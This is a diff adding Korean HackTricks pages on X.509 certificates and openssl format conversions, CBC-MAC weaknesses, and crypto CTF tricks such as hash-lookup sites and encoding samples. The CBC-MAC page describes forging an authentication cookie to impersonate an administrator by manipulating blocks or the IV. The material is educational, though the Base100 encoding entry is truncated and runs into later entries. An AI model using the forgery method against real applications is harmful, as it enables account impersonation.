* 회사를 **HackTricks에서 광고**하거나 **PDF로 HackTricks를 다운로드**하려면 [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* [**공식 PEASS & HackTricks 상품**](https://peass.creator-spring.com)을 구매하세요.
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요. 독점적인 [**NFT**](https://opensea.io/collection/the-peass-family) 컬렉션입니다.
|
||||
* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **참여**하거나 **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**를** 팔로우하세요.
|
||||
* **HackTricks**와 **HackTricks Cloud** github 저장소에 PR을 제출하여 **당신의 해킹 기법을 공유**하세요.
|
||||
|
||||
</details>
|
199
crypto-and-stego/certificates.md
Normal file
199
crypto-and-stego/certificates.md
Normal file
|
@ -0,0 +1,199 @@
|
|||
# 인증서
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>를 통해 **제로부터 영웅까지 AWS 해킹 배우기**!</summary>
|
||||
|
||||
HackTricks를 지원하는 다른 방법:
|
||||
|
||||
* **회사를 HackTricks에서 광고하거나 HackTricks를 PDF로 다운로드**하고 싶다면 [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* [**공식 PEASS & HackTricks 스왜그**](https://peass.creator-spring.com)를 구매하세요
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 당사의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
|
||||
* **💬 [Discord 그룹](https://discord.gg/hRep4RUj7f)** 또는 [텔레그램 그룹](https://t.me/peass)에 **가입**하거나 **트위터** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)를 **팔로우**하세요.
|
||||
* **HackTricks** 및 **HackTricks Cloud** github 저장소에 PR을 제출하여 해킹 트릭을 공유하세요.
|
||||
|
||||
</details>
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks)를 사용하여 세계에서 **가장 고급** 커뮤니티 도구로 구동되는 **워크플로우를 쉽게 구축하고 자동화**하세요.\
|
||||
오늘 바로 액세스하세요:
|
||||
|
||||
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||||
|
||||
## 인증서란
|
||||
|
||||
**공개 키 인증서**는 암호학에서 사용되는 디지턀 ID로, 누군가가 공개 키를 소유하고 있음을 증명하는 데 사용됩니다. 이는 키의 세부 정보, 소유자의 신원(주체) 및 신뢰할 수 있는 기관(발급자)의 디지털 서명을 포함합니다. 소프트웨어가 발급자를 신뢰하고 서명이 유효하다면, 키 소유자와의 안전한 통신이 가능합니다.
|
||||
|
||||
인증서는 주로 [인증 기관](https://en.wikipedia.org/wiki/Certificate\_authority)(CAs)에 의해 [공개 키 인프라](https://en.wikipedia.org/wiki/Public-key\_infrastructure)(PKI) 설정에서 발급됩니다. 다른 방법은 사용자가 서로 키를 직접 확인하는 [신뢰 웹](https://en.wikipedia.org/wiki/Web\_of\_trust)입니다. 인증서의 일반적인 형식은 [X.509](https://en.wikipedia.org/wiki/X.509)이며, RFC 5280에서 설명된 특정 요구 사항에 맞게 조정할 수 있습니다.
|
||||
|
||||
## x509 공통 필드
|
||||
|
||||
### **x509 인증서의 공통 필드**
|
||||
|
||||
x509 인증서에서 여러 **필드**가 인증서의 유효성과 보안을 보장하는 데 중요한 역할을 합니다. 이러한 필드를 살펴보겠습니다:
|
||||
|
||||
* **버전 번호**는 x509 형식의 버전을 나타냅니다.
|
||||
* **일련 번호**는 주로 폐지 추적을 위해 인증 기관(CA) 시스템 내에서 인증서를 고유하게 식별합니다.
|
||||
* **주체** 필드는 인증서의 소유자를 나타내며, 기계, 개인 또는 조직일 수 있습니다. 다음과 같은 자세한 식별 정보를 포함합니다:
|
||||
* **일반 이름 (CN)**: 인증서가 적용되는 도메인
|
||||
* **국가 (C)**, **지역 (L)**, **주 또는 지방 (ST, S 또는 P)**, **조직 (O)** 및 **조직 단위 (OU)**는 지리적 및 조직적 세부 정보를 제공합니다.
|
||||
* **식별 이름 (DN)**은 전체 주체 식별을 캡슐화합니다.
|
||||
* **발급자**는 인증서를 확인하고 서명한 사람을 나타내며, CA에 대한 주체와 유사한 하위 필드를 포함합니다.
|
||||
* **유효 기간**은 **Not Before** 및 **Not After** 타임스탬프로 표시되어, 특정 날짜 이전 또는 이후에 인증서가 사용되지 않도록 합니다.
|
||||
* 인증서의 보안에 중요한 **공개 키** 섹션은 공개 키의 알고리즘, 크기 및 기술적 세부 정보를 지정합니다.
|
||||
* **x509v3 확장**은 인증서의 기능을 향상시키며, **키 사용**, **확장 키 사용**, **대체 주체 이름** 및 인증서의 응용 프로그램을 세밀하게 조정하기 위한 기타 속성을 지정합니다.
|
||||
|
||||
#### **키 사용 및 확장**
|
||||
|
||||
* **키 사용**은 공개 키의 암호화 응용 프로그램을 식별합니다. 예: 디지털 서명 또는 키 암호화
|
||||
* **확장 키 사용**은 인증서의 사용 사례를 더 세분화합니다. 예: TLS 서버 인증을 위해
|
||||
* **대체 주체 이름** 및 **기본 제약**은 인증서가 적용되는 추가 호스트 이름 및 CA 또는 종단 개체 인증서인지 여부를 정의합니다.
|
||||
* **주체 키 식별자** 및 **발급자 키 식별자**는 키의 고유성과 추적 가능성을 보장합니다.
|
||||
* **발급자 정보 액세스** 및 **CRL 배포 지점**은 발급 CA를 확인하고 인증서 폐지 상태를 확인하기 위한 경로를 제공합니다.
|
||||
* **CT 사전 인증 SCT**는 인증서에 대한 공개 신뢰에 중요한 투명성 로그를 제공합니다.
|
||||
```python
|
||||
# Example of accessing and using x509 certificate fields programmatically:
|
||||
from cryptography import x509
|
||||
from cryptography.hazmat.backends import default_backend
|
||||
|
||||
# Load an x509 certificate (assuming cert.pem is a certificate file)
|
||||
with open("cert.pem", "rb") as file:
|
||||
cert_data = file.read()
|
||||
certificate = x509.load_pem_x509_certificate(cert_data, default_backend())
|
||||
|
||||
# Accessing fields
|
||||
serial_number = certificate.serial_number
|
||||
issuer = certificate.issuer
|
||||
subject = certificate.subject
|
||||
public_key = certificate.public_key()
|
||||
|
||||
print(f"Serial Number: {serial_number}")
|
||||
print(f"Issuer: {issuer}")
|
||||
print(f"Subject: {subject}")
|
||||
print(f"Public Key: {public_key}")
|
||||
```
|
||||
### **OCSP와 CRL 배포 지점의 차이점**
|
||||
|
||||
**OCSP** (**RFC 2560**)은 디지털 공개 키 인증서가 폐기되었는지 확인하기 위해 클라이언트와 응답기가 함께 작동하여 전체 **CRL**을 다운로드할 필요 없이 작동합니다. 이 방법은 폐기된 인증서 일련 번호 목록을 제공하지만 잠재적으로 큰 파일을 다운로드해야 하는 전통적인 **CRL**보다 효율적입니다. CRL에는 최대 512개의 항목이 포함될 수 있습니다. 자세한 내용은 [여기](https://www.arubanetworks.com/techdocs/ArubaOS%206\_3\_1\_Web\_Help/Content/ArubaFrameStyles/CertRevocation/About\_OCSP\_and\_CRL.htm)에서 확인할 수 있습니다.
|
||||
|
||||
### **인증서 투명성이란**
|
||||
|
||||
인증서 투명성은 SSL 인증서의 발급 및 존재가 도메인 소유자, CA 및 사용자에게 투명하게 표시되도록하여 인증서 관련 위협에 대항하는 데 도움을 줍니다. 그 목표는 다음과 같습니다:
|
||||
|
||||
* 도메인 소유자의 동의 없이 CA가 도메인을 위한 SSL 인증서를 발급하는 것을 방지합니다.
|
||||
* 실수로나 악의적으로 발급된 인증서를 추적하기 위한 공개 감사 시스템을 설정합니다.
|
||||
* 사용자를 사기적인 인증서로부터 보호합니다.
|
||||
|
||||
#### **인증서 로그**
|
||||
|
||||
인증서 로그는 네트워크 서비스에 의해 유지되는 공개 감사 가능한, 추가 전용 인증서 레코드입니다. 이러한 로그는 감사 목적을 위한 암호학적 증거를 제공합니다. 발급 기관과 일반인 모두 이러한 로그에 인증서를 제출하거나 검증을 위해 쿼리할 수 있습니다. 로그 서버의 정확한 수는 고정되어 있지 않지만 전 세계적으로 천 개 미만으로 예상됩니다. 이러한 서버는 CA, ISP 또는 관련 당사자에 의해 독립적으로 관리될 수 있습니다.
|
||||
|
||||
#### **쿼리**
|
||||
|
||||
어떤 도메인에 대한 인증서 투명성 로그를 살펴보려면 [https://crt.sh/](https://crt.sh)를 방문하십시오.
|
||||
|
||||
## **형식**
|
||||
|
||||
### **PEM 형식**
|
||||
|
||||
* 인증서에 가장 널리 사용되는 형식입니다.
|
||||
* 인증서와 개인 키를 별도의 파일로 요구하며 Base64 ASCII로 인코딩됩니다.
|
||||
* 일반적인 확장자: .cer, .crt, .pem, .key.
|
||||
* 주로 Apache 및 유사한 서버에서 사용됩니다.
|
||||
|
||||
### **DER 형식**
|
||||
|
||||
* 인증서의 이진 형식입니다.
|
||||
* PEM 파일에 있는 "BEGIN/END CERTIFICATE" 문이 없습니다.
|
||||
* 일반적인 확장자: .cer, .der.
|
||||
* Java 플랫폼과 함께 자주 사용됩니다.
|
||||
|
||||
### **P7B/PKCS#7 형식**
|
||||
|
||||
* Base64 ASCII로 저장되며 .p7b 또는 .p7c 확장자가 있습니다.
|
||||
* 개인 키를 제외한 인증서 및 체인 인증서만 포함합니다.
|
||||
* Microsoft Windows 및 Java Tomcat에서 지원됩니다.
|
||||
|
||||
### **PFX/P12/PKCS#12 형식**
|
||||
|
||||
* 서버 인증서, 중간 인증서 및 개인 키를 하나의 파일에 캡슐화하는 이진 형식입니다.
|
||||
* 확장자: .pfx, .p12.
|
||||
* 주로 Windows에서 인증서 가져오기 및 내보내기에 사용됩니다.
|
||||
|
||||
### **형식 변환**
|
||||
|
||||
**PEM 변환**은 호환성을 위해 필수적입니다:
|
||||
|
||||
* **x509를 PEM으로**
|
||||
```bash
|
||||
openssl x509 -in certificatename.cer -outform PEM -out certificatename.pem
|
||||
```
|
||||
* **PEM을 DER로 변환**
|
||||
```bash
|
||||
openssl x509 -outform der -in certificatename.pem -out certificatename.der
|
||||
```
|
||||
* **DER를 PEM으로 변환**
|
||||
```bash
|
||||
openssl x509 -inform der -in certificatename.der -out certificatename.pem
|
||||
```
|
||||
* **PEM을 P7B로 변환하기**
|
||||
```bash
|
||||
openssl crl2pkcs7 -nocrl -certfile certificatename.pem -out certificatename.p7b -certfile CACert.cer
|
||||
```
|
||||
* **PKCS7를 PEM으로 변환하기**
|
||||
```bash
|
||||
openssl pkcs7 -print_certs -in certificatename.p7b -out certificatename.pem
|
||||
```
|
||||
**PFX 변환**은 Windows에서 인증서를 관리하는 데 중요합니다:
|
||||
|
||||
* **PFX를 PEM으로**
|
||||
```bash
|
||||
openssl pkcs12 -in certificatename.pfx -out certificatename.pem
|
||||
```
|
||||
* **PFX를 PKCS#8로 변환**은 두 단계로 이루어집니다:
|
||||
1. PFX를 PEM으로 변환합니다.
|
||||
```bash
|
||||
openssl pkcs12 -in certificatename.pfx -nocerts -nodes -out certificatename.pem
|
||||
```
|
||||
2. PEM을 PKCS8로 변환합니다.
|
||||
|
||||
```bash
|
||||
openssl pkcs8 -topk8 -inform PEM -outform DER -in private.pem -out private_key.pk8 -nocrypt
|
||||
```
|
||||
```bash
|
||||
openSSL pkcs8 -in certificatename.pem -topk8 -nocrypt -out certificatename.pk8
|
||||
```
|
||||
* **P7B를 PFX로 변환**은 두 개의 명령어가 필요합니다:
|
||||
1. P7B를 CER로 변환합니다.
|
||||
```bash
|
||||
openssl pkcs7 -print_certs -in certificatename.p7b -out certificatename.cer
|
||||
```
|
||||
2. CER 및 개인 키를 PFX로 변환합니다.
|
||||
```bash
|
||||
openssl pkcs12 -export -in certificatename.cer -inkey privateKey.key -out certificatename.pfx -certfile cacert.cer
|
||||
```
|
||||
***
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
[**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks)를 사용하여 세계에서 가장 **고급** 커뮤니티 도구로 구동되는 **워크플로우를 쉽게 구축**하고 **자동화**하세요.\
|
||||
오늘 바로 액세스하세요:
|
||||
|
||||
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>제로부터 히어로까지 AWS 해킹 배우기</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
HackTricks를 지원하는 다른 방법:
|
||||
|
||||
* **회사가 HackTricks에 광고되길 원하거나** **PDF로 HackTricks 다운로드**하려면 [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* [**공식 PEASS & HackTricks 스왜그**](https://peass.creator-spring.com)를 얻으세요
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 당사의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
|
||||
* **💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **가입**하거나 **트위터** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**를 팔로우**하세요.
|
||||
* **HackTricks** 및 **HackTricks Cloud** github 저장소에 PR을 제출하여 **해킹 트릭을 공유**하세요.
|
||||
|
||||
</details>
|
83
crypto-and-stego/cipher-block-chaining-cbc-mac-priv.md
Normal file
83
crypto-and-stego/cipher-block-chaining-cbc-mac-priv.md
Normal file
|
@ -0,0 +1,83 @@
|
|||
<details>
|
||||
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>를 통해 AWS 해킹을 처음부터 전문가까지 배워보세요<strong>!</strong></summary>
|
||||
|
||||
HackTricks를 지원하는 다른 방법:
|
||||
|
||||
* HackTricks에서 **회사 광고를 보거나 PDF로 HackTricks를 다운로드**하려면 [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* [**공식 PEASS & HackTricks 상품**](https://peass.creator-spring.com)을 구매하세요.
|
||||
* 독점적인 [**NFT**](https://opensea.io/collection/the-peass-family) 컬렉션인 [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요.
|
||||
* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **참여**하거나 **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)를 **팔로우**하세요.
|
||||
* **HackTricks**와 **HackTricks Cloud** github 저장소에 PR을 제출하여 여러분의 해킹 기법을 공유하세요.
|
||||
|
||||
</details>
|
||||
|
||||
|
||||
# CBC
|
||||
|
||||
**쿠키**가 **사용자 이름**만 있는 경우 (또는 쿠키의 첫 번째 부분이 사용자 이름인 경우) "**admin**" 사용자 이름을 가장하고 싶다면, **"bdmin"** 사용자 이름을 생성하고 쿠키의 **첫 번째 바이트**를 무차별 대입(bruteforce)할 수 있습니다.
|
||||
|
||||
# CBC-MAC
|
||||
|
||||
**Cipher block chaining message authentication code** (**CBC-MAC**)는 암호학에서 사용되는 방법입니다. 이 방법은 메시지를 블록 단위로 암호화하고, 각 블록의 암호화가 이전 블록과 연결되도록 작동합니다. 이 과정은 **블록 체인**을 생성하여 원본 메시지의 단 하나의 비트라도 변경하면 암호화된 데이터의 마지막 블록에 예측할 수 없는 변경이 발생하도록 합니다. 이러한 변경을 수행하거나 되돌리기 위해서는 암호화 키가 필요하여 보안이 보장됩니다.
|
||||
|
||||
메시지 m의 CBC-MAC을 계산하기 위해, m을 초기화 벡터를 0으로 설정하여 CBC 모드로 암호화하고 마지막 블록을 유지합니다. 다음 그림은 비밀 키 k와 블록 암호 E를 사용하여 메시지의 CBC-MAC을 계산하는 과정을 스케치한 것입니다:
|
||||
|
||||
![https://wikimedia.org/api/rest\_v1/media/math/render/svg/bbafe7330a5e40a04f01cc776c9d94fe914b17f5](https://wikimedia.org/api/rest\_v1/media/math/render/svg/bbafe7330a5e40a04f01cc776c9d94fe914b17f5)를 사용하여 블록으로 구성된 메시지의 CBC-MAC 계산
|
||||
|
||||
![https://upload.wikimedia.org/wikipedia/commons/thumb/b/bf/CBC-MAC\_structure\_\(en\).svg/570px-CBC-MAC\_structure\_\(en\).svg.png](https://upload.wikimedia.org/wikipedia/commons/thumb/b/bf/CBC-MAC\_structure\_\(en\).svg/570px-CBC-MAC\_structure\_\(en\).svg.png)
|
||||
|
||||
# 취약점
|
||||
|
||||
CBC-MAC에서 일반적으로 사용되는 **IV는 0**입니다.\
|
||||
이는 알려진 두 개의 메시지 (`m1` 및 `m2`)가 독립적으로 2개의 서명 (`s1` 및 `s2`)을 생성한다는 문제가 있습니다. 따라서:
|
||||
|
||||
* `E(m1 XOR 0) = s1`
|
||||
* `E(m2 XOR 0) = s2`
|
||||
|
||||
그런 다음 m1과 m2를 연결한 메시지 (m3)는 2개의 서명 (s31 및 s32)을 생성합니다:
|
||||
|
||||
* `E(m1 XOR 0) = s31 = s1`
|
||||
* `E(m2 XOR s1) = s32`
|
||||
|
||||
**암호화의 키를 알지 못해도 계산할 수 있습니다.**
|
||||
|
||||
8바이트 블록으로 이름 **Administrator**를 암호화하는 경우를 상상해보세요:
|
||||
|
||||
* `Administ`
|
||||
* `rator\00\00\00`
|
||||
|
||||
**Administ** (m1)라는 사용자 이름을 생성하고 서명 (s1)을 검색할 수 있습니다.\
|
||||
그런 다음, `rator\00\00\00 XOR s1`의 결과로 된 사용자 이름을 생성할 수 있습니다. 이렇게 하면 `E(m2 XOR s1 XOR 0)`를 생성하게 되고 이는 s32입니다.\
|
||||
이제 s32를 전체 이름 **Administrator**의 서명으로 사용할 수 있습니다.
|
||||
|
||||
### 요약
|
||||
|
||||
1. 사용자 이름 **Administ** (m1)의 서명인 s1을 얻으세요.
|
||||
2. 사용자 이름 **rator\x00\x00\x00 XOR s1 XOR 0**의 서명인 s32를 얻으세요.
|
||||
3. 쿠키를 s32로 설정하면 사용자 **Administrator**의 유효한 쿠키가 됩니다.
|
||||
|
||||
# IV 제어를 통한 공격
|
||||
|
||||
IV를 제어할 수 있다면 공격은 매우 쉬워질 수 있습니다.\
|
||||
쿠키가 단순히 암호화된 사용자 이름인 경우, 사용자 "**administrator**"를 가장하려면 사용자 "**Administrator**"를 생성하고 해당 사용자의 쿠키를 얻을 수 있습니다.\
|
||||
이제 IV를 제어할 수 있다면, IV의 첫 번째 바이트를 변경하여 **IV\[0] XOR "A" == IV'\[0] XOR "a"**로 설정하고 사용자 **Administrator**의 쿠키를 다시 생성할 수 있습니다. 이 쿠키는 초기 **IV**로 **administrator** 사용자를 **가장할 수 있는** 유효한 쿠키가 될 것입니다.
|
||||
|
||||
## 참고 자료
|
||||
|
||||
자세한 내용은 [https://en.wikipedia.org/wiki/CBC-MAC](https://en.wikipedia.org/wiki/CBC-MAC)에서 확인할 수 있습니다.
|
||||
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>를 통해 AWS 해킹을 처음부터 전문가까지 배워보세요<strong>!</strong></summary>
|
||||
|
||||
HackTricks를 지원하는 다른 방법:
|
||||
|
||||
* HackTricks에서 **회사 광고를 보거나 PDF로 HackTricks를 다운로드**하려면 [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* [**공식 PEASS & HackTricks 상품**](https://peass.creator-spring.com)을 구매하세요.
|
||||
* 독점적인 [**NFT**](https://opensea.io/collection/the-peass-family) 컬렉션인 [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요.
|
||||
* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **참여**하거나 **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)를 **팔로우**하세요.
|
||||
* **HackTricks**와 **HackTricks Cloud** github 저장소에 PR을 제출하여 여러분의 해킹 기법을 공유하세요.
|
||||
|
||||
</details>
|
311
crypto-and-stego/crypto-ctfs-tricks.md
Normal file
311
crypto-and-stego/crypto-ctfs-tricks.md
Normal file
|
@ -0,0 +1,311 @@
|
|||
# Crypto CTFs 트릭
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>를 통해 AWS 해킹을 처음부터 전문가까지 배워보세요<strong>!</strong></summary>
|
||||
|
||||
HackTricks를 지원하는 다른 방법:
|
||||
|
||||
* **회사가 HackTricks에 광고되기를 원하거나 HackTricks를 PDF로 다운로드하려면** [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* [**공식 PEASS & HackTricks 스웨그**](https://peass.creator-spring.com)를 얻으세요.
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요. 독점적인 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션입니다.
|
||||
* **💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f)** 또는 [**텔레그램 그룹**](https://t.me/peass)**에 가입하거나** **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**를 팔로우하세요.**
|
||||
* **Hacking 트릭을 공유하려면** [**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 저장소에 PR을 제출하세요.
|
||||
|
||||
</details>
|
||||
|
||||
## 온라인 해시 DB
|
||||
|
||||
* _**Google에서 검색**_
|
||||
* [http://hashtoolkit.com/reverse-hash?hash=4d186321c1a7f0f354b297e8914ab240](http://hashtoolkit.com/reverse-hash?hash=4d186321c1a7f0f354b297e8914ab240)
|
||||
* [https://www.onlinehashcrack.com/](https://www.onlinehashcrack.com)
|
||||
* [https://crackstation.net/](https://crackstation.net)
|
||||
* [https://md5decrypt.net/](https://md5decrypt.net)
|
||||
* [https://www.onlinehashcrack.com](https://www.onlinehashcrack.com)
|
||||
* [https://gpuhash.me/](https://gpuhash.me)
|
||||
* [https://hashes.org/search.php](https://hashes.org/search.php)
|
||||
* [https://www.cmd5.org/](https://www.cmd5.org)
|
||||
* [https://hashkiller.co.uk/Cracker/MD5](https://hashkiller.co.uk/Cracker/MD5)
|
||||
* [https://www.md5online.org/md5-decrypt.html](https://www.md5online.org/md5-decrypt.html)
|
||||
|
||||
## Magic Autosolvers
|
||||
|
||||
* [**https://github.com/Ciphey/Ciphey**](https://github.com/Ciphey/Ciphey)
|
||||
* [https://gchq.github.io/CyberChef/](https://gchq.github.io/CyberChef/) (Magic 모듈)
|
||||
* [https://github.com/dhondta/python-codext](https://github.com/dhondta/python-codext)
|
||||
* [https://www.boxentriq.com/code-breaking](https://www.boxentriq.com/code-breaking)
|
||||
|
||||
## 인코더
|
||||
|
||||
대부분의 인코딩된 데이터는 다음 2개의 자원을 사용하여 디코딩할 수 있습니다:
|
||||
|
||||
* [https://www.dcode.fr/tools-list](https://www.dcode.fr/tools-list)
|
||||
* [https://gchq.github.io/CyberChef/](https://gchq.github.io/CyberChef/)
|
||||
|
||||
### 치환 Autosolvers
|
||||
|
||||
* [https://www.boxentriq.com/code-breaking/cryptogram](https://www.boxentriq.com/code-breaking/cryptogram)
|
||||
* [https://quipqiup.com/](https://quipqiup.com) - 매우 좋음!
|
||||
|
||||
#### 시저 - ROTx Autosolvers
|
||||
|
||||
* [https://www.nayuki.io/page/automatic-caesar-cipher-breaker-javascript](https://www.nayuki.io/page/automatic-caesar-cipher-breaker-javascript)
|
||||
|
||||
#### 앳배시 암호
|
||||
|
||||
* [http://rumkin.com/tools/cipher/atbash.php](http://rumkin.com/tools/cipher/atbash.php)
|
||||
|
||||
### 기본 인코딩 Autosolver
|
||||
|
||||
이 모든 기본 인코딩을 확인하세요: [https://github.com/dhondta/python-codext](https://github.com/dhondta/python-codext)
|
||||
|
||||
* **Ascii85**
|
||||
* `BQ%]q@psCd@rH0l`
|
||||
* **Base26** \[_A-Z_]
|
||||
* `BQEKGAHRJKHQMVZGKUXNT`
|
||||
* **Base32** \[_A-Z2-7=_]
|
||||
* `NBXWYYLDMFZGCY3PNRQQ====`
|
||||
* **Zbase32** \[_ybndrfg8ejkmcpqxot1uwisza345h769_]
|
||||
* `pbzsaamdcf3gna5xptoo====`
|
||||
* **Base32 Geohash** \[_0-9b-hjkmnp-z_]
|
||||
* `e1rqssc3d5t62svgejhh====`
|
||||
* **Base32 Crockford** \[_0-9A-HJKMNP-TV-Z_]
|
||||
* `D1QPRRB3C5S62RVFDHGG====`
|
||||
* **Base32 Extended Hexadecimal** \[_0-9A-V_]
|
||||
* `D1NMOOB3C5P62ORFDHGG====`
|
||||
* **Base45** \[_0-9A-Z $%\*+-./:_]
|
||||
* `59DPVDGPCVKEUPCPVD`
|
||||
* **Base58 (bitcoin)** \[_1-9A-HJ-NP-Za-km-z_]
|
||||
* `2yJiRg5BF9gmsU6AC`
|
||||
* **Base58 (flickr)** \[_1-9a-km-zA-HJ-NP-Z_]
|
||||
* `2YiHqF5bf9FLSt6ac`
|
||||
* **Base58 (ripple)** \[_rpshnaf39wBUDNEGHJKLM4PQ-T7V-Z2b-eCg65jkm8oFqi1tuvAxyz_]
|
||||
* `pyJ5RgnBE9gm17awU`
|
||||
* **Base62** \[_0-9A-Za-z_]
|
||||
* `g2AextRZpBKRBzQ9`
|
||||
* **Base64** \[_A-Za-z0-9+/=_]
|
||||
* `aG9sYWNhcmFjb2xh`
|
||||
* **Base67** \[_A-Za-z0-9-_.!\~\_]
|
||||
* `NI9JKX0cSUdqhr!p`
|
||||
* **Base85 (Ascii85)** \[_!"#$%&'()\*+,-./0-9:;<=>?@A-Z\[\\]^\_\`a-u_]
|
||||
* `BQ%]q@psCd@rH0l`
|
||||
* **Base85 (Adobe)** \[_!"#$%&'()\*+,-./0-9:;<=>?@A-Z\[\\]^\_\`a-u_]
|
||||
* `<~BQ%]q@psCd@rH0l~>`
|
||||
* **Base85 (IPv6 or RFC1924)** \[_0-9A-Za-z!#$%&()\*+-;<=>?@^_\`{|}\~\_]
|
||||
* `Xm4y`V\_|Y(V{dF>\`
|
||||
* **Base85 (xbtoa)** \[_!"#$%&'()\*+,-./0-9:;<=>?@A-Z\[\\]^\_\`a-u_]
|
||||
* `xbtoa Begin\nBQ%]q@psCd@rH0l\nxbtoa End N 12 c E 1a S 4e6 R 6991d`
|
||||
* **Base85 (XML)** \[_0-9A-Za-y!#$()\*+,-./:;=?@^\`{|}\~z\__]
|
||||
* `Xm4y|V{~Y+V}dF?`
|
||||
* **Base91** \[_A-Za-z0-9!#$%&()\*+,./:;<=>?@\[]^\_\`{|}\~"_]
|
||||
* `frDg[*jNN!7&BQM`
|
||||
* **Base100** \[]
|
||||
* `👟👦
|
||||
* `DmPsv8J7qrlKEoY7`
|
||||
* **MEGAN35** \[_3G-Ub=c-pW-Z/12+406-9Vaq-zA-F5_]
|
||||
* `kLD8iwKsigSalLJ5`
|
||||
* **ZONG22** \[_ZKj9n+yf0wDVX1s/5YbdxSo=ILaUpPBCHg8uvNO4klm6iJGhQ7eFrWczAMEq3RTt2_]
|
||||
* `ayRiIo1gpO+uUc7g`
|
||||
* **ESAB46** \[]
|
||||
* `3sHcL2NR8WrT7mhR`
|
||||
* **MEGAN45** \[]
|
||||
* `kLD8igSXm2KZlwrX`
|
||||
* **TIGO3FX** \[]
|
||||
* `7AP9mIzdmltYmIP9mWXX`
|
||||
* **TRIPO5** \[]
|
||||
* `UE9vSbnBW6psVzxB`
|
||||
* **FERON74** \[]
|
||||
* `PbGkNudxCzaKBm0x`
|
||||
* **GILA7** \[]
|
||||
* `D+nkv8C1qIKMErY1`
|
||||
* **Citrix CTX1** \[]
|
||||
* `MNGIKCAHMOGLKPAKMMGJKNAINPHKLOBLNNHILCBHNOHLLPBK`
|
||||
|
||||
[http://k4.cba.pl/dw/crypo/tools/eng\_atom128c.html](http://k4.cba.pl/dw/crypo/tools/eng\_atom128c.html) - 404 Dead: [https://web.archive.org/web/20190228181208/http://k4.cba.pl/dw/crypo/tools/eng\_hackerize.html](https://web.archive.org/web/20190228181208/http://k4.cba.pl/dw/crypo/tools/eng\_hackerize.html)
|
||||
|
||||
### HackerizeXS \[_╫Λ↻├☰┏_]
|
||||
```
|
||||
╫☐↑Λ↻Λ┏Λ↻☐↑Λ
|
||||
```
|
||||
* [http://k4.cba.pl/dw/crypo/tools/eng\_hackerize.html](http://k4.cba.pl/dw/crypo/tools/eng\_hackerize.html) - 404 Dead: [https://web.archive.org/web/20190228181208/http://k4.cba.pl/dw/crypo/tools/eng\_hackerize.html](https://web.archive.org/web/20190228181208/http://k4.cba.pl/dw/crypo/tools/eng\_hackerize.html)
|
||||
|
||||
### 모스 부호
|
||||
```
|
||||
.... --- .-.. -.-. .- .-. .- -.-. --- .-.. .-
|
||||
```
|
||||
* [http://k4.cba.pl/dw/crypo/tools/eng\_morse-encode.html](http://k4.cba.pl/dw/crypo/tools/eng\_morse-encode.html) - 404 Dead: [https://gchq.github.io/CyberChef/](https://gchq.github.io/CyberChef/)
|
||||
|
||||
### UUencoder
|
||||
|
||||
